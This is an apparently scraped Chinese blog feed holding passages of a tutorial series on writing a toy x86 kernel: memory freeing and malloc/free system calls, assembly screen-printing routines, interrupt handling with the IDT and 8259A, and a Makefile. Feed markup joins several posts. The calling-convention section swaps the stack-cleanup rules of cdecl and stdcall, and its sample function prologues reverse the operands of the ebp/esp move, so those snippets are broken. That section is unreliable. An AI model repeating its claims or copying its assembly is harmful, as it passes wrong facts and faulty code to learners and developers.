/* 释放以虚拟地址vaddr为起始的cnt个物理页框 */
void mfree_page(enum pool_flags pf, void* _vaddr, uint32_t pg_cnt) {
uint32_t pg_phy_addr;
uint32_t vaddr = (int32_t)_vaddr, page_cnt = 0;
ASSERT(pg_cnt >=1 && vaddr % PG_SIZE == 0);
pg_phy_addr = addr_v2p(vaddr); // 获取虚拟地址vaddr对应的物理地址

/* 确保待释放的物理内存在低端1M+1k大小的页目录+1k大小的页表地址范围外 */
ASSERT((pg_phy_addr % PG_SIZE) == 0 && pg_phy_addr >= 0x102000);

/* 判断pg_phy_addr属于用户物理内存池还是内核物理内存池 */
if (pg_phy_addr >= user_pool.phy_addr_start) { // 位于user_pool内存池
vaddr -= PG_SIZE;
while (page_cnt < pg_cnt) {
vaddr += PG_SIZE;
pg_phy_addr = addr_v2p(vaddr);

/* 确保物理地址属于用户物理内存池 */
ASSERT((pg_phy_addr % PG_SIZE) == 0 && pg_phy_addr >= user_pool.phy_addr_start);

/* 先将对应的物理页框归还到内存池 */
pfree(pg_phy_addr);

/* 再从页表中清除此虚拟地址所在的页表项pte */
page_table_pte_remove(vaddr);

page_cnt++;
}
/* 清空虚拟地址的位图中的相应位 */
vaddr_remove(pf, _vaddr, pg_cnt);

} else { // 位于kernel_pool内存池
vaddr -= PG_SIZE;
while (page_cnt < pg_cnt) {
vaddr += PG_SIZE;
pg_phy_addr = addr_v2p(vaddr);
/* 确保待释放的物理内存只属于内核物理内存池 */
ASSERT((pg_phy_addr % PG_SIZE) == 0 && \
pg_phy_addr >= kernel_pool.phy_addr_start && \
pg_phy_addr < user_pool.phy_addr_start);

/* 先将对应的物理页框归还到内存池 */
pfree(pg_phy_addr);
/* 再从页表中清除此虚拟地址所在的页表项pte */
page_table_pte_remove(vaddr);
page_cnt++;
}
/* 清空虚拟地址的位图中的相应位 */
vaddr_remove(pf, _vaddr, pg_cnt);
}
}

下面实现sys_free,对释放的内存是否大于1024有不同的处理,大于则将页框在虚拟内存池和物理内存池的位图中将相应位置置0,小于则将arena中的内存块重新放回到内存块描述符中的空闲块链表free_list

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
/* 回收内存ptr */
void sys_free(void* ptr) {
ASSERT(ptr != NULL);
if (ptr != NULL) {
enum pool_flags PF;
struct pool* mem_pool;

/* 判断是线程还是进程 */
if (running_thread()->pgdir == NULL) {
ASSERT((uint32_t)ptr >= K_HEAP_START);
PF = PF_KERNEL;
mem_pool = &kernel_pool;
} else {
PF = PF_USER;
mem_pool = &user_pool;
}

lock_acquire(&mem_pool->lock);
struct mem_block* b = ptr;
struct arena* a = block2arena(b); // 把mem_block转换成arena,获取元信息
ASSERT(a->large == 0 || a->large == 1);
if (a->desc == NULL && a->large == true) { // 大于1024的内存
mfree_page(PF, a, a->cnt); // 释放a->cnt个页框
} else { // 小于等于1024的内存块
/* 先将内存块回收到free_list */
list_append(&a->desc->free_list, &b->free_elem);

/* 再判断此arena中的内存块是否都是空闲,如果是就释放arena */
if (++a->cnt == a->desc->blocks_per_arena) {
uint32_t block_idx;
for (block_idx = 0; block_idx < a->desc->blocks_per_arena; block_idx++) {
struct mem_block* b = arena2block(a, block_idx);
ASSERT(elem_find(&a->desc->free_list, &b->free_elem));
list_remove(&b->free_elem);
}
mfree_page(PF, a, 1);
}
}
lock_release(&mem_pool->lock);
}
}

最后我们在syscall文件中添加我们的系统调用

1
2
3
4
5
6
7
8
9
/* 申请size字节大小的内存,并返回结果 */
void* malloc(uint32_t size) {
return (void*)_syscall1(SYS_MALLOC, size);
}

/* 释放ptr指向的内存 */
void free(void* ptr) {
_syscall1(SYS_FREE, ptr);
}

更新系统调用号数组表

1
2
3
4
5
6
7
8
9
/* 初始化系统调用 */
void syscall_init(void) {
put_str("syscall_init start\n");
syscall_table[SYS_GETPID] = sys_getpid;
syscall_table[SYS_WRITE] = sys_write;
syscall_table[SYS_MALLOC] = sys_malloc;
syscall_table[SYS_FREE] = sys_free;
put_str("syscall_init done\n");
}

最后进行测试,下面是main中主要测试代码,申请内存大小对应规格均为256,所以会出现累加的情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
int main(void) {
put_str("Welcome to TJ's kernel\n");
init_all();
intr_enable();
process_execute(u_prog_a, "u_prog_a");
process_execute(u_prog_b, "u_prog_b");
thread_start("k_thread_a", 31, k_thread_a, "I am thread_a");
thread_start("k_thread_b", 31, k_thread_b, "I am thread_b");
while(1);
return 0;
}

/* 在线程中运行的函数 */
void k_thread_a(void* arg) {
void* addr1 = sys_malloc(256);
void* addr2 = sys_malloc(255);
void* addr3 = sys_malloc(254);
console_put_str(" thread_a malloc addr:0x");
console_put_int((int)addr1);
console_put_char(',');
console_put_int((int)addr2);
console_put_char(',');
console_put_int((int)addr3);
console_put_char('\n');

int cpu_delay = 100000;
while(cpu_delay-- > 0);
sys_free(addr1);
sys_free(addr2);
sys_free(addr3);
while(1);
}

/* 在线程中运行的函数 */
void k_thread_b(void* arg) {
void* addr1 = sys_malloc(256);
void* addr2 = sys_malloc(255);
void* addr3 = sys_malloc(254);
console_put_str(" thread_b malloc addr:0x");
console_put_int((int)addr1);
console_put_char(',');
console_put_int((int)addr2);
console_put_char(',');
console_put_int((int)addr3);
console_put_char('\n');

int cpu_delay = 100000;
while(cpu_delay-- > 0);
sys_free(addr1);
sys_free(addr2);
sys_free(addr3);
while(1);
}

/* 测试用户进程 */
void u_prog_a(void) {
void* addr1 = malloc(256);
void* addr2 = malloc(255);
void* addr3 = malloc(254);
printf(" prog_a malloc addr:0x%x,0x%x,0x%x\n", (int)addr1, (int)addr2, (int)addr3);

int cpu_delay = 100000;
while(cpu_delay-- > 0);
free(addr1);
free(addr2);
free(addr3);
while(1);
}

/* 测试用户进程 */
void u_prog_b(void) {
void* addr1 = malloc(256);
void* addr2 = malloc(255);
void* addr3 = malloc(254);
printf(" prog_b malloc addr:0x%x,0x%x,0x%x\n", (int)addr1, (int)addr2, (int)addr3);

int cpu_delay = 100000;
while(cpu_delay-- > 0);
free(addr1);
free(addr2);
free(addr3);
while(1);
}

测试结果如下,地址确实是连续的,和预期相符

image-20200612181835991

]]>
<h1 id="进程与线程"><a href="#进程与线程" class="headerlink" title="进程与线程"></a>进程与线程</h1><p>线程和进程的概念不用多说大家肯定都比较熟悉,线程是具有能动性、执行力、独立性的代码块。进程 = 线程+资源。那么下面
简单内核实现笔记 part 2 https://thunderjie.github.io/2020/05/10/简单内核实现笔记-part-2/ 2020-05-10T09:24:37.000Z 2020-06-18T03:13:32.915Z 完善内核

调用约定

调用约定主要体现在以下三方面:

  1. 参数的传递方式,参数是存放在寄存器中还是栈中
  2. 参数的传递顺序,是从左到右传递还是从右到左传递
  3. 是调用者保存寄存器环境还是被调用者保存

有如下常见的调用约定,我们主要关注cdecl、stdcall、thiscall即可

cdecl是默认c的调用约定,调用者将所有参数从右向左入栈,被调用者清理参数所占栈空间,举个例子

1
2
int subtract(int a, int b); // 被调用者
int sub = subtract(3,2); // 调用者

调用者汇编如下

1
2
3
push 2
push 3
call subtract

被调用者汇编如下

1
2
3
4
5
6
7
push ebp               ; 备份ebp
mov esp, ebp ; esp赋值给ebp
mov eax, [ebp + 0x8] ; 偏移8字节处为第一个参数a
add eax, [ebp + 0xc] ; 偏移0xc字节处是第二个参数b
mov esp, ebp ; 本句可有可无
pop ebp ; 恢复ebp
ret 8 ; 函数返回时esp+8,被调用函数清理栈中参数

进入subtract函数时栈中的布局如下

stdcall是微软Win32 API的标准,调用者将所有参数从右向左入栈,并且调用者清理参数所占栈空间,还是上面的例子,调用者汇编如下

1
2
3
4
push 2
push 3
call subtract
add esp, 8 ; 调用者清理栈

被调用者汇编如下

1
2
3
4
5
6
7
push ebp               ; 备份ebp
mov esp, ebp ; esp赋值给ebp
mov eax, [ebp + 0x8] ; 偏移8字节处为第一个参数a
add eax, [ebp + 0xc] ; 偏移0xc字节处是第二个参数b
mov esp, ebp ; 本句可有可无
pop ebp ; 恢复ebp
ret ; 直接返回

thiscall则在C++中非静态成员函数的默认调用约定,其主要区别是ecx会多保存一个this指针指向操作的对象。

系统调用

为了更加理解系统调用,在后面会更频繁的结合C和汇编进行操作,下面做一个实验,分别用三种方式调用write函数,模拟下面C调用库函数的过程

1
2
3
4
5
#include<unistd.h>
int main(){
write(1,"hello,world\n",4);
return 0;
}

模拟代码syscall_write.S如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
section .data
str_c_lib: db "C library says: hello world!", 0xa ; 0xa为换行符
str_c_lib_len equ $-str_c_lib

str_syscall: db "syscall says: hello world!", 0xa
str_syscall_len equ $-str_syscall

section .text
global _start
_start:
; ssize_t write(int fd,const void *buf,size_t count);
; 方法一:模拟C语言中系统调用库函数write
push str_c_lib_len
push str_c_lib
push 1

call my_write
add esp, 12

; 方法二:系统调用
mov eax, 4 ; 系统调用号
mov ebx, 1 ; fd
mov ecx, str_syscall ; buf
mov edx, str_syscall_len ; count
int 0x80

; 退出程序
mov eax, 1 ; exit()
int 0x80

; 下面模拟write系统调用
my_write:
push ebp
mov esp, ebp
mov eax, 4
mov ebx, [ebp + 8] ; fd
mov ecx, [ebp + 0xc] ; buf
mov edx, [ebp + 0x10] ; count
int 0x80
pop ebp
ret

运行结果如下

既然我们用汇编模拟了C中的write函数,下面就用C结合汇编进行第二个实验

C_with_S_c.c

1
2
3
4
5
6
extern void asm_print(char*,int);
void c_print(char* str) {
int len=0;
while(str[len++]); // 循环求出长度len,以'\0'结尾
asm_print(str, len);
}

C_with_S_S.S

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
section .data
str: db "asm_print hello world!", 0xa, 0 ; 0xa为换行符,0为结束符
str_len equ $-str

section .text
extern c_print
global _start
_start:
push str
call c_print
add esp, 4

; 退出程序
mov eax, 1 ; exit()
int 0x80

; 下面模拟write系统调用
global asm_print
asm_print:
push ebp
mov ebp, esp
mov eax, 4
mov ebx, 1
mov ecx, [ebp + 8] ; str
mov edx, [ebp + 0xc] ; len
int 0x80
pop ebp
ret

其调用关系如下图

编译过程如下所示

实现打印函数

对于字符的打印主要是对显卡端口的操作,所以是用汇编实现,这里新键一个lib目录,里面添加一个头文件,主要申请一些数据结构信息,来自Linux源码

1
2
3
4
5
6
7
8
9
10
11
12
13
#ifndef _LIB_STDINT_H_
#define _LIB_STDINT_H_

typedef signed char int8_t;
typedef signed short int int16_t;
typedef signed int int32_t;
typedef signed long long int int64_t;
typedef unsigned char uint8_t;
typedef unsigned short int uint16_t;
typedef unsigned int uint32_t;
typedef unsigned long long int uint64_t;

#endif //!_LIB_STDINT_H_

再新建一个user目录和一个kernel目录,我们的print实现代码就在kernel目录下的print.S,这个函数比较复杂,处理流程如下

  1. 备份寄存器现场
  2. 获取光标坐标值,光标坐标值是下一个可打印字符的位置
  3. 获取待打印的字符
  4. 判断字符是否为控制字符,如回车、换行、退格符需要特殊处理
  5. 判断是否需要滚屏
  6. 更新光标坐标值,使其指向下一个打印字符的位置
  7. 恢复寄存器现场,退出

首先需要知道光标和字符的区别,它们之间没有任何关系,光标位置保存在光标寄存器中,可以手动维护,这就需要参考书中的显卡寄存器索引(P264),我们需要操作CRT控制数据寄存器中索引为0x0E的Cursor Location High Register和索引为0x0F的Cursor Location Low Register分别用来储存光标坐标的高8位和低8位。访问CRT寄存器,需要首先往端口地址为0x3D4寄存器写入索引,然后再从端口0x3D5的数据寄存器读写数据,另外一些特殊字符需要特殊处理,其中还会涉及到滚屏的处理,我们的屏幕是80*25大小的,步骤如下:

  1. 将第1~24行搬到0~23行,覆盖第0行
  2. 将24行也就是最后一行用空格覆盖,看起来像新的一行
  3. 光标移动到第24行行首
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
TI_GDT equ 0
RPL0 equ 0
SELECTOR_VIDEO equ (0x0003<<3) + TI_GDT + RPL0

[bits 32]
section .text
; ----------------- put_char -----------------
; 把栈中的一个字符写入光标所在处
; --------------------------------------------
global put_char ; 全局变量,外部可调用
put_char:
pushad ; 备份环境
; 保证gs中为正确的视频段选择子
; 为保险起见,每次打印时都为gs赋值
mov ax, SELECTOR_VIDEO ; 不能直接把立即数送入段寄存器
mov gs, ax

; 获取当前光标位置,25个字符一行,一共80行,从0行开始
; 先获得高8位
mov dx, 0x03d4 ; 索引寄存器
mov al, 0x0e ; 用于提供光标位置的高8位
out dx, al
mov dx, 0x03d5 ; 通过读写数据端口0x3d5来获得或设置光标位置
in al, dx ; 得到了光标位置的高8位
mov ah, al

; 在获取低8位光标
mov dx, 0x3d4
mov al, 0x0f
out dx, al
mov dx, 0x3d5
in al, dx
; 将16位完整的光标存入bx
mov bx, ax
; 下面这行是在栈中获取待打印的字符
mov ecx, [esp + 36] ; pushad压入4x8=32字节
; 加上主函数4字节返回地址
cmp cl, 0xd; 回车CR是0x0d,换行LF是0x0a
jz .is_carriage_return
cmp cl, 0xa
jz .is_line_feed

cmp cl, 0x8; BS(backspace)的asc码是8
jz .is_backspace
jmp .put_other

.is_backspace:
;;;;;;;;;;;;;;;;;; 对于backspace的一点说明 ;;;;;;;;;;;;;;;;;;
; 当为 backspace 时,光标前移一位
; 末尾添加空格或空字符0
dec bx
shl bx, 1; 光标左移一位等于乘2
; 表示光标对应显存中的偏移字节
mov byte [gs:bx], 0x20; 将待删除的字节补为0或空格皆可
inc bx
mov byte [gs:bx], 0x07
shr bx, 1
jmp .set_cursor
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
.put_other:
shl bx, 1 ; 光标位置用2字节表示,将光标值乘2
; 表示对应显存中的偏移字节
mov [gs:bx], cl ; ASCII字符本身
inc bx
mov byte [gs:bx], 0x07 ; 字符属性
shr bx, 1; 恢复老的光标值
inc bx; 下一个光标值
cmp bx, 2000
jl .set_cursor; 若光标值小于2000,表示未写到显存的最后,则去设置新的光标值
; 若超出屏幕字符数大小(2000)则换行处理
.is_line_feed:; 是换行符LF(\n)
.is_carriage_return:; 是回车符
; 如果是CR(\r),只要把光标移到行首就行了
xor dx, dx ; dx是被除数的高16位,清0
mov ax, bx; ax是被除数的低16位
mov si, 80 ; 效访Linux中\n表示下一行的行首
div si; 这里\n和\r都处理为下一行的行首
sub bx, dx; 光标值减去除80的余数便是取整
; 以上4行处理\r的代码
.is_carriage_return_end: ; 回车符CR处理结束
add bx, 80
cmp bx, 2000
.is_line_feed_end:; 若是LF(\n),将光标移+80便可
jl .set_cursor
; 屏幕行范围是0~24,滚屏的原理是将屏幕的第1~24行搬运到第0~23行,再将第24行用空格填充
.roll_screen:; 若超出屏幕大小,开始滚屏
cld
mov ecx, 960; 2000-80=1920个字符要搬运,共1920*2=3820字节
; 一次搬4字节,共3840/4=960次
mov esi, 0xc00b80a0; 第一行行首
mov edi, 0xc00b8000; 第0行行首
rep movsd

; 将最后一行填充为空白
mov ebx, 3840; 最后一行首字符的第一个字节偏移=1920*2
mov ecx, 80; 一行是80字符(160字节),每次清空1字符(2字节),一行需要移动80次

.cls:
mov word [gs:ebx], 0x0720 ; 0x0720是黑底白字的空格键
add ebx, 2
loop .cls
mov bx, 1920 ; 将光标值重置为1920,最后一行的首字符

.set_cursor:
; 将光标设为bx值
; 1.先设置高8位
mov dx, 0x03d4 ; 索引寄存器
mov al, 0x0e; 用于提供光标位置的高8位
out dx, al
mov dx, 0x03d5; 通过读写数据端口0x3d5来获得或设置光标位置
mov al, bh
out dx, al

; 2.再设置低8位
mov dx, 0x3d4
mov al, 0x0f
out dx, al
mov dx, 0x03d5
mov al, bl
out dx, al
.put_char_done:
popad
ret

头文件print.h

1
2
3
4
5
#ifndef __LIB_KERNEL_PRINT_H // 如果没有__LIB_KERNEL_PRINT_H宏则编译下面的代码
#define __LIB_KERNEL_PRINT_H
#include "stdint.h"
void put_char(uint8_t char_asci); // 这里是8位无符号整型,为了和之前参数存放在cl寄存器长度吻合
#endif

下面测试代码main.o

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include "print.h"
void main(void){
put_char('k');
put_char('e');
put_char('r');
put_char('n');
put_char('e');
put_char('l');
put_char('\n');
put_char('T');
put_char('h');
put_char('u');
put_char('n');
put_char('d');
put_char('e');
put_char('e');
put_char('\b');
put_char('r');
while(1);
}

目前为止的目录结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.
├── boot
│   ├── include
│   │   └── boot.inc
│   ├── loader.bin
│   ├── loader.S
│   ├── mbr.bin
│   └── mbr.S
├── kernel
│   ├── kernel.bin
│   ├── main.c
│   └── main.o
└── lib
├── kernel
│   ├── print.h
│   └── print.S
├── stdint.h
└── user

编译需要用到的几条命令,目录不同会有变化

1
2
3
4
sudo nasm -f elf -o print.o print.S
sudo gcc -m32 -I /home/guang/soft/kernel/lib/kernel -c -o main.o main.c
sudo ld -m elf_i386 -Ttext 0xc0001500 -e main -o kernel.bin main.o /home/guang/soft/kernel/lib/kernel/print.o
sudo dd if=./kernel.bin of=/home/guang/soft/bochs-2.6.2/bin/hd60M.img bs=512 count=200 seek=9 conv=notrunc

显示结果如下

下面把put_char函数封装起来,put_str通过put_char来打印以0字符结尾的字符串,思想就是循环打印直到0结束

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
; --------------------------------------------
; put_str通过put_char来打印以0字符结尾的字符串
; 输入:栈中参数为打印的字符串
; 输出:无
; --------------------------------------------
global put_str
put_str:
; 此函数用到ebx和ecx,先备份
push ebx
push ecx
xor ecx, ecx
mov ebx, [esp + 0xc] ; 栈中得到待打印字符串的地址
.goon:
mov cl, [ebx]
cmp cl, 0 ; 如果处理到了字符串尾,跳到结束处返回
jz .str_over
push ecx; 为put_char函数传递参数
call put_char; 循环调用put_char实现打印字符串
add esp, 4
inc ebx; ebx指向下一个字符
jmp .goon

.str_over:
pop ecx
pop ebx
ret

print.h中增加一行申明

1
2
3
4
5
6
#ifndef __LIB_KERNEL_PRINT_H // 如果没有__LIB_KERNEL_PRINT_H宏则编译下面的代码
#define __LIB_KERNEL_PRINT_H
#include "stdint.h"
void put_char(uint8_t char_asci); // 这里是8位无符号整型,为了和之前参数存放在cl寄存器长度吻合
void put_str(char* message);
#endif

main.c对其进行调用测试

1
2
3
4
5
#include "print.h"
void main(void){
put_str("Welcome to kernel\n");
while(1);
}

测试结果如下

前面是实现对字符的打印,下面需要增加对整数的打印,逐位处理,A~F再单独处理,再增加对高位多余0的处理,详情见注释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
;--------------------   将小端字节序的数字变成对应的ascii后,倒置   -----------------------
;输入:栈中参数为待打印的数字
;输出:在屏幕上打印16进制数字,并不会打印前缀0x,如打印10进制15时,只会直接打印f,不会是0xf
;------------------------------------------------------------------------------------------

global put_int
put_int:
pushad
mov ebp, esp
mov eax, [ebp + 4*9] ; call的返回地址占4字节再加上pushad的8个四字节
mov edx, eax
mov edi, 7; 指定在put_int_buffer中初始的偏移量
mov ecx, 8; 32位数字中,十六进制数字的位数是8个
mov ebx, put_int_buffer

; 将32位数字按照十六进制的形式从低位到高位逐个处理
; 共处理8个十六进制数字
.16based_4bits:; 每4位二进制是16进制数字的1位
; 遍历每一位十六进制数字
and edx, 0x0000000F; 解析十六进制数字的每一位
; and与操作后,edx只有低4位有效
cmp edx, 9; 数字0~9和a~f需要分别处理成对应的字符
jg .is_A2F
add edx, '0'; ASCII码是8位大小。add求和操作后,edx低8位有效
jmp .store
.is_A2F:
sub edx, 10; A~F减去10所得到的差,再加上字符A的
; ASCII码,便是A~F对应的ASCII码
add edx, 'A'
; 将每一位数字转换成对应的字符后,按照类似“大端”的顺序存储到缓冲区put_int_buffer
; 高位字符放在低地址,低位字符要放在高地址,这样和大端字节序类似,只不过咱们这里是字符序.
.store:
; 此时dl中应该是数字对应的字符的ASCII码
mov [ebx + edi], dl
dec edi
shr eax, 4
mov edx, eax
loop .16based_4bits

; 现在put_int_buffer中已全是字符,打印之前
; 把高位连续的字符去掉,比如把字符000123变成123
.ready_to_print:
inc edi; 此时edi退减为-1(0xffffffff),加上1使其为0
.skip_prefix_0:
cmp edi, 8; 若已经比较第9个字符了
; 表示待打印的字符串为全0
je .full0
; 找出连续的0字符,edi作为非0的最高位字符的偏移
.go_on_skip:
mov cl, [put_int_buffer + edi]
inc edi
cmp cl, '0'
je .skip_prefix_0; 继续判断下一位字符是否为字符0(不是数字0)
dec edi; edi在上面的inc操作中指向了下一个字符
; 若当前字符不为'0',要使edi减1恢复指向当前字符
jmp .put_each_num

.full0:
mov cl, '0'; 输入的数字为全0时,则只打印0
.put_each_num:
push ecx; 此时cl中为可打印的字符
call put_char
add esp, 4
inc edi; 使edi指向下一个字符
mov cl, [put_int_buffer + edi] ; 获取下一个字符到cl寄存器
cmp edi, 8
jl .put_each_num
popad
ret

print.h增加一行put_int的申明注释,main.c中增加测试代码即可,测试结果如下所示

中断

中断的存在极大提高了计算机的效率,可分为外部中断和内部中断。

外部中断的中断源为某个硬件,CPU为中断信号提供了两条信号线分别是INTRNMI,如下图所示,从INTR引脚收到的中断都是不影响系统运行的,可以随时处理,不会影响到CPU的执行。也称为可屏蔽中断。可以通过eflag中的IF位将所有这些外部中断屏蔽

image-20200526104424200

内部中断可分为软中断和异常

软中断

顾名思义是软件主动发起的中断,不受eflags中的IF位的影响,有如下指令:

  • “int 8位立即数”,通过它进行系统调用
  • int3,int和3之间无空格,用于调试
  • into,中断溢出指令,当OF位也为1时,触发4号中断
  • bound,检查数组索引越界指令,越界时触发5号中断
  • ud2,未定义指令,触发6号中断

异常

异常是指令执行期间CPU内部产生的错误引起的,也不受eflags中的IF位的影响,按照轻重程度分为三种

  1. Fault,也称故障。属于可被修复的一种类型,当发生此类异常时,CPU将机器状态恢复到异常之前的状态 ,之后调用中断处理程序,通常都能够被解决。缺页异常就属于此种异常
  2. Trap,也称陷阱。此异常通常在调试中。
  3. Abort,也称终止。程序发生了此类异常通常就无法继续执行下去,操作系统会将此程序从进程表中去除。

中断描述符表

中断描述符表是保护模式下用于存储中断处理程序入口的表,当CPU接受到一个中断时,需要根据该中断的中断向量号在此表中检索对应的描述符,在该描述符中找到中断处理程序的起始地址,然后执行中断处理程序,这和之前段描述符非常类似,类比学习即可。

实模式下用于中断处理程序入口的表叫做中断向量表(IVT),保护模式下则是中断描述符表(IDT)。

IVT在实模式下位于0~0x3ff共1024个字节,又知IVT可容纳256个中断向量,故每个中断向量用4字节描述;对比IVT,IDT表地址不受限制,在哪里都可以,每个描述符用8字节描述。这里主要讨论IDT,在IDT中描述符称之为门,也就是之前介绍过的门,这里再区别一下门和段描述符

  • 段描述符中描述的是一片内存区域
  • 门描述符描述的是一段代码,除调用门外,任务门、中断门、陷阱门都可以存在于中断描述符中

IDT位置不固定,故CPU找到它需要通过一个寄存器IDTR,如下图,其中0~15位是表界限,也就是IDT大小减一,第16~47位是IDT的基地址,和之前的GDTR是一个原理

image-20200526104424200

16位的表界限范围是0~0xffff,即64KB,可容纳的描述符个数是64KB/8=8K=8192个。特别注意的是GDT中的第0个段描述符是不可用的,但IDT却无此限制,第0个门描述符也是可用的,处理器只支持256个中断,即0~254,中断描述符中其他的描述符不可用,还需要注意的是门描述符中的P位,构建IDT时需要将其置为0,表示门描述符的中断处理程序不在内存中。加载IDTR需要用到lidt指令,用法是lidt 48位内存数据

中断的处理过程总结如下

  1. 处理器根据中断向量号定位中断门描述符
  2. 处理器进行特权级检查
  3. 执行中断处理程序

image-20200526104424200

中断发生之后需要执行中断处理程序,该中断处理程序是通过中断门描述符中保存的代码段选择子和段内偏移找到的,这个时候就需要重新加载段寄存器,也就是说需要在栈中保存一些寄存器信息(CS:EIP、eflags等),保证中断之后执行的流程正确,当特权级变化的时候,压栈如下图所示

image-20200526104424200

图A、B:在发生中断是通过特权级的检测,发现需要向高特权级转移,所以要保存当前程序栈的SS和ESP的值,在这里记为ss_old, esp_old,然后在新栈中压入当前程序的eflags寄存器。

图C、D:由于要切换目标代码段,这种段间转移,要对CS和EIP进行备份,同样将其存入新栈中。某些异常会有错误码,用来标识异常发生在哪个段上,对于有错误码的情况,要将错误码也压入栈中。

当特权级没有变化的时候,就不需要压入旧栈的SS和EIP

image-20200526104424200

返回的时候通过指令 iret 完成,iret 指令会从栈顶依次弹出EIP、CS、EFLAGS,根据特权级的变化还有ESP、SS。但是该指令并不验证数据的正确性,而且他从栈中弹出数据的顺序是不变的,也就是说,在有error_code的情况下,iret返回时并不会主动跳过这个数据,需要我们手动进行处理。

编写中断处理程序

下面通过操作8259A芯片实现第一个中断处理程序,关于8259A相关信息参考书中P311内容,本质上是一个可编程中断控制器,处理流程如下,init_all负责初始化所有设备及结构体,然后调用idt_init初始化中断相关内容,内部分别调用了pic_initidt_desc_init实现,其中pic_init初始化8259A,idt_desc_init负责对中断描述符IDT表进行初始化,最后再对IDT表进行加载

image-20200526104424200

我们需要进行以下几个步骤

  1. 用汇编语言实现中断处理程序
  2. 创建中断描述符表IDT,安装中断处理程序
  3. 用内联汇编实现端口I/O函数(对端口的读写操作)
  4. 设置8259A

新添加中断后的文件树如下所示,build中是生成后的文件,device中存放的是为了提高中断频率对8253计数器的操作,kernel中新加的interrupt是对中断初始化的主要文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
.
├── boot
│   ├── include
│   │   └── boot.inc
│   ├── loader.bin
│   ├── loader.S
│   ├── mbr.bin
│   └── mbr.S
├── build
│   ├── init.o
│   ├── interrupt.o
│   ├── kernel.bin
│   ├── kernel.o
│   ├── main.o
│   ├── print.o
│   └── timer.o
├── device
│   ├── timer.c
│   └── timer.h
├── kernel
│   ├── global.h
│   ├── init.c
│   ├── init.h
│   ├── interrupt.c
│   ├── interrupt.h
│   ├── kernel.S
│   └── main.c
└── lib
├── kernel
│   ├── io.h
│   ├── print.h
│   ├── print.o
│   └── print.S
├── stdint.h
└── user

8 directories, 26 files

编译比较麻烦,如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//编译c程序,生成目标文件,这里需要关闭栈保护并指定32位程序
sudo gcc -m32 -fno-stack-protector -I lib/kernel/ -c -o build/timer.o device/timer.c
sudo gcc -m32 -fno-stack-protector -I lib/kernel -I lib/ -I kernel -c -fno-builtin -o build/init.o kernel/init.c
sudo gcc -m32 -fno-stack-protector -I lib/kernel -I lib/ -I kernel -c -fno-builtin -o build/main.o kernel/main.c
sudo gcc -m32 -fno-stack-protector -I lib/kernel -I lib/ -I kernel -c -fno-builtin -o build/interrupt.o kernel/interrupt.c

//编译汇编
sudo nasm -f elf -o build/print.o lib/kernel/print.S
sudo nasm -f elf -o build/kernel.o kernel/kernel.S

//链接,在build目录下
sudo ld -m elf_i386 -Ttext 0xc0001500 -e main -o kernel.bin main.o init.o interrupt.o print.o kernel.o timer.o

//写入img
sudo dd if=./kernel.bin of=/home/guang/soft/bochs-2.6.2/bin/hd60M.img bs=512 count=200 seek=9 conv=notrunc

运行结果如下,这里我为了效果演示注释了interrupt.c文件中general_intr_handler函数的最后三行打印中断号的部分,结果如下

image-20200526104424200

取消注释后,效果如下

image-20200526104424200

内存管理系统

在编写内存管理系统之前需要做一些其他的准备工作

Makefile和断言

为了更好的对kernel进行编译,这里使用makefile来操作,makefile具体的知识点就不单独列举了,感兴趣的小伙伴可以自己查阅资料,和作者不同的是这里我是x64的系统,新增了一些编译选项并且把ubantu的终端修改为了bash,具体如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
BUILD_DIR = ./build
ENTRY_POINT = 0xc0001500
AS = nasm
CC = gcc
LD = ld
LIB = -I lib/ -I lib/kernel/ -I lib/user/ -I kernel/ -I device/
ASFLAGS = -f elf
CFLAGS = -m32 -fno-stack-protector -Wall $(LIB) -c -fno-builtin -W -Wstrict-prototypes \
-Wmissing-prototypes
LDFLAGS = -m elf_i386 -Ttext $(ENTRY_POINT) -e main -Map $(BUILD_DIR)/kernel.map
OBJS = $(BUILD_DIR)/main.o $(BUILD_DIR)/init.o $(BUILD_DIR)/interrupt.o \
$(BUILD_DIR)/timer.o $(BUILD_DIR)/kernel.o $(BUILD_DIR)/print.o \
$(BUILD_DIR)/debug.o

############## c代码编译 ###############
$(BUILD_DIR)/main.o: kernel/main.c lib/kernel/print.h \
lib/stdint.h kernel/init.h
$(CC) $(CFLAGS) $< -o $@

